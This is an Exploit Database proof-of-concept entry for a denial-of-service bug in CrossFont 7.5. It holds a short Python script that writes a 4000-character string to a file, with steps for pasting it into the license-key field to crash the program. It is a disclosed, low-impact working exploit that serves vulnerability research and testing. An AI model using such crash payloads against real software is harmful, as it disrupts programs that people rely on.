CrossFont 7.5 – Denial of Service (PoC)

• Exploit Database
• 15 阅读

• 作者： Gionathan Reale
  日期： 2018-09-26
• 类别：

  • dos
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/45494/

• # Exploit Title: CrossFont 7.5 - Denial of Service (PoC)
  # Author: Gionathan "John" Reale
  # Discovey Date: 2018-09-26
  # Software Link: http://www.acutesystems.com/cfnt/cfsetup.exe
  # Tested Version: 7.5
  # Tested on OS: Windows 7 32-bit
  # Steps to Reproduce: Run the python exploit script, it will create a new 
  # file with the name "exploit.txt". Copy the content from "exploit.txt".
  # Now start the program. When inside the program click "Enter Key"
  # Now paste the contents of "exploit.txt" into the fields:"License Key/Code"
  # Click "OK" and you will see a crash.
  
  #!/usr/bin/python
   
  buffer = "A" * 4000
  
  payload = buffer
  try:
  f=open("exploit.txt","w")
  print "[+] Creating %s bytes evil payload.." %len(payload)
  f.write(payload)
  f.close()
  print "[+] File created!"
  except:
  print "File cannot be created"